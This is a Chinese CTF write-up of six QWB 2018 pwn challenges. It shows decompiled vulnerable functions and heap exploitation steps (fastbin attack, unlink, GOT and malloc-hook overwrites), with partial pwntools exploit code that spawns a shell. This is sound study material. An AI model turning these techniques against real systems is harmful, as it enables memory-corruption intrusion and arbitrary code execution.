强网杯2018 pwn复现
前言
本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错
程序和 exp:
https://gitee.com/hac425/blog_data/blob/master/qwb2018/
正文
silent
漏洞
在 free 的时候指针没有清空,而且程序没有 检测指针是否已经被释放 double free, 后面的 编辑功能也没有检验指针是否已经被 free ,所以 uaf
signed __int64 free_()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &i);
getchar();
if ( i < 0 || i > 9 )
return 0xFFFFFFFFLL;
free(ptr_table[i]);
return 0LL;
}
利用
在 new 一个内存的时候我们可以任意大小的内存,我们现在的能力
- 分配任意大小的内存
double freeuaf
Double Free ----> Fastbin Attack
可以利用 fastbin 检测 double free 的特点来利用。把一个 chunk 加入 fastbin 是如果相应 fastbin 的第一项和要加入的 chunk 不是同一个即可
add("/bin/sh\x00", 0x60)
add("1"*0x20, 0x60)
add("2"*0x20, 0x60)
add("3"*0x20, 0x60)
delete(1)
delete(2)
delete(1)
gdb.attach(p)
pause()
这样就会形成一个 下面的 fastbin 链
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
0x603070 在 fastbin 链 中出现了两次,于是分配两次,0x603070 会被分配,而且 0x603070 会成为 fastbin 的第一个 chunk . 我们就可以通过 double free 实现 fastbin attack 的目的(其实这里可以直接改,因为有 uaf)
现在的目的是找 一个地址处存放 size 的位置来 bypass fastbin 的 检查。
在程序的 bss 段存有 std 的指针
.bss:0000000000602080 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000602080 public stdout
.bss:0000000000602080 ; FILE *stdout
.bss:0000000000602080 stdout dq ? ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080 ; sub_4007F0+6↑o ...
.bss:0000000000602080 ; Copy of shared data
.bss:0000000000602088 align 10h
.bss:0000000000602090 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090 ; init_+17↑r
.bss:0000000000602090 ; Copy of shared data
.bss:0000000000602098 align 20h
.bss:00000000006020A0 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0 ; init_+53↑r
.bss:00000000006020A0 ; Copy of shared data
这些指针之间有一些填充空间(会被填充为0), 然后 std 的指针的最低字节 就有可能 可以作为 fastbin 的 size .

于是修改大小为 0x70的 fastbin 的 fd 为0x60209d, 然后分配 2 次,我们就可以分配到 bss, 然后通过修改 ptr_table 来修改 got 表,使得 free@got 为 system@plt。
修改 ptr_table[0] --> free@got
add(p64(0x60209d), 0x60)
add("5"*0x20, 0x60)
add("6"*0x20, 0x60)
add('\x00'*0x13+p64(0x602018), 0x60) # ptr0 --> free@got
p.clean()
edit(0, p64(0x00400730), "") # free@got ---> system@plt
delete(3) # free("/bin/sh\x00") ---> system("/bin/sh\x00")
silent2
漏洞
在 silent 的基础上限制我们不能分配 fastbin

利用
分配两个 0x90 的 chunk ,然后释放掉
分配一个大的 chunk 重用上面的空间,伪造 free chunk , 触发 unlink
改 strlen@got 为 system@plt
opm
漏洞
在 add 功能处使用 gets 来读入字符串到 stack 的 buf 而且 buf 后面有 obj_ptr ,我们可以溢出覆盖 obj_ptr
obj *add()
{
obj *obj; // rbx
obj *obj_; // rbx
size_t name_len; // rax
obj *obj__; // rbx
char buf; // [rsp+0h] [rbp-1A0h] // 输入的缓冲区
obj *obj_ptr; // [rsp+80h] [rbp-120h] // obj 指针
char *v7; // [rsp+100h] [rbp-A0h]
unsigned __int64 v8; // [rsp+188h] [rbp-18h]
v8 = __readfsqword(0x28u);
obj = operator new(0x20uLL);
init_obj(obj);
obj_ptr = obj;
obj->show_func = show_func;
puts("Your name:");
gets(&buf);
obj_ = obj_ptr; // gets 可以覆盖 obj_ptr
obj_->len = strlen(&buf);
name_len = strlen(&buf);
v7 = malloc(name_len);
strcpy(v7, &buf);
obj_ptr->nameptr = v7;
puts("N punch?");
gets(&buf); // gets 可以覆盖 obj_ptr
obj__ = obj_ptr;
obj__->punch = atoi(&buf);
show_func(obj_ptr);
return obj_ptr;
}
有一个比较麻烦的点就是 gets 会在读入的字符串后面加入一个 \x00。
信息泄露
泄露 heap 地址
主要的思路就是把 addr 写入 name 的缓冲区中,然后 printf 出来
add("a" * 0x70, str(32))
add("b" * 0x80 + "\x10", '1') # 把 role0 布置到 0010, name 会被分配到 8d00-0x10
log.info("role obj in 0010, and name_buf contain 8d00")
# 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
# 为了后面调用 show(0010), 打印出 内容
add("c" * 0x80, "2"*0x80 + "\x10")
log.info("write a name_ptr to 8d00")
具体内存布局如图

0x5555557560e0 是 role_table 的地址, 可以看到 role_table[1] 和role_table[2] 的是一样的,成功把 name ptr 写入了 role->name 里面
泄露 程序基地址 && libc
后面通过 泄露的 heap 地址,和指针覆盖 来布局,leak 即可
修改 strlen@got 为 system
利用 obj->punch 局部修改
note
漏洞
在修改 title 的位置
char *change_title()
{
char *result; // rax
signed int i; // eax
unsigned __int8 c; // [rsp+Bh] [rbp-5h]
signed int index; // [rsp+Ch] [rbp-4h]
printf("enter the title:");
index = 0;
while ( 1 )
{
c = getchar();
if ( check_black_list(c) )
break;
if ( index > 0x27 )
{
result = title + 0x27; // 最多 40 个字符
title[0x27] = 0;
return result;
}
i = index++;
title[i] = c;
}
result = c;
title[index] = c;
return result;
}
title 是一个 0x28 字节的 buf, 如果我们在 index=0x28 时输入 black_list 中的字符,就会跳出循环,然后 title[0x28] = black_char, off by one 。我们看看溢出的那个字节可以写入什么
0000000000602010 0A 21 3F 40 22 27 23 26 00
利用
off by one 可以通过 伪造 free chunk 来触发 unlink ,所以选择 0x40, 通过调试可以知道,title 后面跟着的是 content
然后溢出后就可以设置 content 所在 chunk->size = 0x40
然后通过 realloc 一个很大的值,使得无法 通过扩展 chunk 来分配,这样就会把 content 放入 fastbin 。
再通过 realloc 一个很大的内存,触发 会把 content 进入 smallbin 并且触发堆合并,触发 unlink.
之后修改 __realloc_hook 为 system
raisepig
漏洞
在 eat_pig 功能处可以 double free
__int64 eat_pig()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( pig_count )
{
printf("Which pig do you want to eat:");
_isoc99_scanf("%d", &i);
if ( i > 0x63 || !pig_table[i] ) // 这里只是判断,pig指针是不是为0
{
puts("Invalid choice");
return 0LL;
}
srand(0);
pig_table[i]->is_lived = 0;
free(pig_table[i]->name_ptr); // free掉name指针,没有free pig
}
else
{
puts("No pig");
}
return 0LL;
}
所以我们可以 多次 free(pig_table[i]->name_ptr)
利用
由于在分配内存时使用
malloc, 而且分配后没有对内存进行清空,而且读入数据使用read, 可以泄露出libc然后分配几个
0x90的chunk, 释放中间两个会合并成一个大的unsorted bin然后分配大的
chunk就可以拿到刚刚合并生成的大chunk, 结合double free,进行fastbin attack修改
fastbin->fd = 0x81分配一次后可以在main_arean有一个p64(0x81)使用
fastbin attack可以修改main_arean->top为malloc_hook-0x10然后分配内存修改
malloc_hook为one_gadget重复
free同一个内存(不进行伪造),触发malloc_printerr(这样更稳), 会调用malloc,getshell
gamebox
漏洞
在 play 函数中,调用 rand 函数初始化了 24 字节的 随机字符串,如果猜对了,就会调用 record 函数进行记录

size 由我们输入,可以看到分配了 size 的内存 , 后面写的时候 name[size] 会溢出一个字节,不过只能溢出 \x00, off by null.
然后在 show 函数有格式化字符串漏洞
unsigned __int64 show()
{
signed int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("=======RANK LIST=======");
for ( i = 0; i <= 9; ++i )
{
if ( obj_table[i].name_ptr )
{
putchar(i + '0'); // 打印名次
putchar(':');
printf(obj_table[i].name_ptr); // name_ptr 作为 printf的第一个参数,格式化
}
}
puts("=======================");
return __readfsqword(0x28u) ^ v2;
}
利用
rand 默认使用 srand(1), 我们本地调用 libc 的 srand(1) 和 rand 就可以生成相同的字符串
利用格式化字符串漏洞,泄露 libc 和 程序的基地址
off by null 直接套用 how2heap ,就可以 overlap heap
这时就可以利用 raisepig 的思路 或者 使用 unlink
参考
http://tacxingxing.com/2018/03/28/2018qwb/
强网杯2018 pwn复现的更多相关文章
- 强网杯2018 - nextrsa - Writeup
强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...
- 【强网杯2018】Gamebox
参考: https://www.cnblogs.com/hac425/p/9416787.html http://tacxingxing.com/2018/03/28/2018qwb/ 事后复盘pwn ...
- 强网杯2018 Web签到
Web签到 比赛链接:http://39.107.33.96:10000 比赛的时候大佬对这题如切菜一般,小白我只能空流泪,通过赛后看别人的wp,我知道了还有这种操作. 这个赛题分为3层 第一层 Th ...
- 【强网杯2018】逆向hide
这是事后才做出来的,网上没有找到现成的writeup,所以在这里记录一下 UPX加壳,而且linux下upx -d无法解,也无法gdb/ida attach 因为是64位,所以没有pushad,只能挨 ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- 第二届强网杯-simplecheck
这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
随机推荐
- bzoj 3027: [Ceoi2004]Sweet (生成函数)
题目传送门:https://www.lydsy.com/JudgeOnline/problem.php?id=3027. 题目大意:有$n$种数,每种有$C_i$个,问你在这些数中取出$[l,r]$个 ...
- TCP-IP 端口号
FTP服务器的TCP端口号 21 Telnet服务器的TCP端口号 23 TETP(简单文件传输协议)服务器的UDP端口号 69 任何TCP/IP实现所提供的服务都用1-1023之间的端口号 至 ...
- VSTO学习(二)——Excel对象模型
要开发Excel的项目,就自然少不了对Excel对象模型的了解了,只有了解Excel对象模型,这样才能更好地对Excel进行处理.下面先给出一张Excel对象模型的图: 下面就具体对上图中的各个对象做 ...
- Mac下使用zsh不执行/etc/profile文件
Mac下使用了zsh会不执行/etc/profile文件,当然,如果用原始的是会执行. 转而执行的是这两个文件,每次登陆都会执行: ~/.zshrc与/etc/zshenv与/etc/zshrc 所以 ...
- sql返回行id
1.sql语句中 insert into tableName() output inserted.id values() 2 .存储过程中 ALTER PROCEDURE dbo.getBuyMedi ...
- IE6基本bug
一.IE6双倍边距bug当页面上的元素使用float浮动时,不管是向左还是向右浮动:只要该元素带有margin像素都会使该值乘以2,例如“margin-left:10px” 在IE6中,该值就会被解析 ...
- docker 安装集群管理工具 docker-compose
compose将管理的容器分为3层, 工程, 服务, 容器. 一个工程中可包含多个服务, 每个服务中定义容器运行的镜像参数, 依赖, 一个服务中科包含多个容器实力, 并没有解决负载均衡的问题 dock ...
- 链式编程:遇到多个构造器参数(Constructor Parameters)时要考虑用构建器(Builder)
public class NutritionFacts { private final int servingSize; private final int servings; private fin ...
- 前端项目中使用git来做分支和合并分支,管理生产版本
最近由于公司前端团队扩招,虽然小小的三四团队开发,但是也出现了好多问题.最让人揪心的是代码的管理问题:公司最近把版本控制工具从svn升级为git.前端H5组目前对git的使用还不是很熟悉,出现额多次覆 ...
- postgresql 匿名函数(单独执行代码段)
do LANGUAGE plpgsql $$ declare top integer; row_org dbo.a_org_type%rowtype; begin /* Insert real cod ...